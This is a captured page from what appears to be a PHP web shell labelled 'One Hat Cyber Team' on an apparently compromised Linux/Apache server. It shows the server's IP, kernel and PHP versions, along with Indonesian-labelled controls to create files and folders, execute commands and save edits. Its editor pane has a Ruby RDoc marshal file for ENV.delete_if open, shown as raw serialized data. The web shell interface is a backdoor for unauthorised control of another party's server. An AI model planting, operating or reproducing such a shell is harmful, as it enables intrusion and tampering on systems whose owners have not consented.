⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.13
Server IP:
109.199.105.153
Server:
Linux connect.inboxifs.com 5.15.0-152-generic #162-Ubuntu SMP Wed Jul 23 09:48:42 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
ENV
/
Edit File: delete_if-c.ri
U:RDoc::AnyMethod[iI"delete_if:ETI"ENV::delete_if;TT:publico:RDoc::Markup::Document:@parts[ o:RDoc::Markup::Paragraph; [I"OYields each environment variable name and its value as a 2-element Array, ;TI"Tdeleting each environment variable for which the block returns a truthy value, ;TI"=and returning ENV (regardless of whether any deletions):;To:RDoc::Markup::Verbatim; [ I";ENV.replace('foo' => '0', 'bar' => '1', 'baz' => '2') ;TI"DENV.delete_if { |name, value| name.start_with?('b') } # => ENV ;TI"ENV # => {"foo"=>"0"} ;TI"DENV.delete_if { |name, value| name.start_with?('b') } # => ENV ;T:@format0o; ; [I"-Returns an Enumerator if no block given:;To;; [ I";ENV.replace('foo' => '0', 'bar' => '1', 'baz' => '2') ;TI"[e = ENV.delete_if # => #<Enumerator: {"bar"=>"1", "baz"=>"2", "foo"=>"0"}:delete_if!> ;TI"=e.each { |name, value| name.start_with?('b') } # => ENV ;TI"ENV # => {"foo"=>"0"} ;TI"<e.each { |name, value| name.start_with?('b') } # => ENV;T;0: @fileI"hash.c;T:0@omit_headings_from_table_of_contents_below0I"iENV.delete_if { |name, value| block } -> ENV ENV.delete_if -> an_enumerator ;T0[ I"();T@ FI"ENV;TcRDoc::NormalClass00
Simpan